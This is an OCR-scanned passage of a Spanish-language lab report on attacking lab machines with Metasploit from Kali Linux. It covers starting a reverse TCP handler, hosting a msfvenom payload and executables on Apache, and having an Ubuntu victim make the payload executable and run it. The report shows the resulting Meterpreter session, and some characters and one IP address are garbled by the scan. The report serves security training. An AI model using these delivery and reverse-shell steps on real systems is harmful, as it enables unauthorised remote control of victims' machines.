LPORT 4444 yes The listen port

Exploit target:

Id Name

@ wildcard Target

View the full module info with the JEES. or IR command.

4.16 Ejecucion del handler

Se inicia el modulo para escuchar conexiones entrantes:

exploit

Salida:

[*] Started reverse TCP handler on 192.192.192.4:4444

Esto significa que Metasploit estd a la espera de que la victima ejecute el archivo
tello_ubuntu.elf.

msf exploit (| > cxploit

Started reverse TCP handler on 192.192.192.4: 4444

Ilustracion 30 Exploit

4.17 Renombrar la pagina por defecto de Apache para permitir el acceso a los archivos
del servidor web

Este comando renombra el archivo index.html (que Apache carga automaticamente al entrar
en la pagina principal) a index1.html.

De esta forma, el servidor ya no muestra directamente la pagina por defecto, sino que queda
libre para mostrar:
e Un listado de todos los archivos disponibles en /var/www/html/ (si estd habilitado
autoindex).
e O bien permitir que se abran/descarguen otros archivos como tello.exe, tello2003.exe
o tello_ubuntu.elf.



B8 | Indexof/ X x  +

O <« C ) (A Noseguro 192.192.192.4

Index of /

Name Last modified Size Description

index.nginx-debian.html 2025-07-31 08:35 615

index1.html 2025-07-31 08:40 10K
satena.exe 2025-09-01 16:26 72K
tello.exe 2025-09-02 22:42 72K
tello2003.exe 2025-09-03 01:15 72K
@ tello_ubuntu.elf 2025-09-04 07:34 207

Apache/2.4.65 (Debian) Server at 192.192.192.4 Port 80

4.18 Descargamos archivo tello_ubuntu.elf

Name Last modified Size Description

E] index.nginx-debian.html 2025-07-31 08:35 615
E] index1.him] 2025-07-31 08:40 10K
:'a satena.exe 2025-09-01 16:26 72K
a tello.exe 2025-09-02 22:42 72K
E 1ello2003.exe 2025-09-03 01:15 72K
z tello ubuntu.elf 2025-09-04 16:46 207

"W Apache/2.4.63 (Debian) Server at 192.192.192.4 Port 80

B 0¥ T & WO XN & DR DERECHA)

P
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4.19 Entrar a la carpeta de Descargas

Entramos a consola de Ubuntu y nos dirigimos a la carpeta Descargas

S

$ c¢d /home/ubuntu/Descargas

4.20 Asignar permisos de ejecucion al archivo malicioso en Linux

El comando chmod +x se utiliza en sistemas Linux para agregar permisos de ejecucion a
un archivo.
En este caso, se aplico sobre tello_ubuntu.elf, que es el payload generado con msfvenom.

e chmod — cambia los permisos de un archivo.
e +x — afiade permiso de ejecucion.
e tello ubuntu.elf — archivo objetivo (el payload).

- S chmod +x tello_ubuntu.elf

4.21 Ejecutamos el archivo tello_ubuntu.elf del Payload en la Victima

: S ./tello ubuntu.elf

llustracion 31 Ejecutamos el archivo tello_ubuntu.elf

4.22 Obtencion de la Sesion Meterpreter

La victima ejecut6 el payload y se conectd de wvuelta a Kali
Con esto, el atacante ya tiene una sesion en Meterpreter, desde la cual puede:

e Navegar archivos.

e Descargar o subir ficheros.

o Ejecutar comandos remotos.
Escalar privilegios.

Sending stage (1062760 bytes) to 192.192.192.13
Meterpreter session 1 opened (192.192.192.4:4444 — 102.192.192.13:48198) at 2025-09-04 17:50:09 -0500

meterpreter > sysinfo

: 192.192.192.13

: Ubuntu 24.04 (Linux 6.11.0-17-generic)
rchitecture : x64

: i486-linux-musl

1lustracion 32 Meterpreter Ubuntu



5 Conclusion

Durante el desarrollo de este laboratorio se logré comprender el proceso completo de
explotacion de sistemas vulnerables, incluyendo Windows XP SP3, Windows Server 2003
SP1 y entornos Linux como Ubuntu, desde la configuracion del handler hasta la escalacion
de privilegios y extraccion de informacion sensible.

Se evidencido cémo herramientas como Metasploit Framework, ejecutadas desde Kali
Linux, permiten automatizar ataques controlados, identificar vulnerabilidades criticas y
obtener acceso completo a sistemas desactualizados o mal configurados.

Esta experiencia es fundamental para entender las buenas practicas de seguridad, reforzar
la defensa de sistemas reales y concienciar sobre la importancia de mantener actualizados los
sistemas operativos y servicios expuestos en la red.
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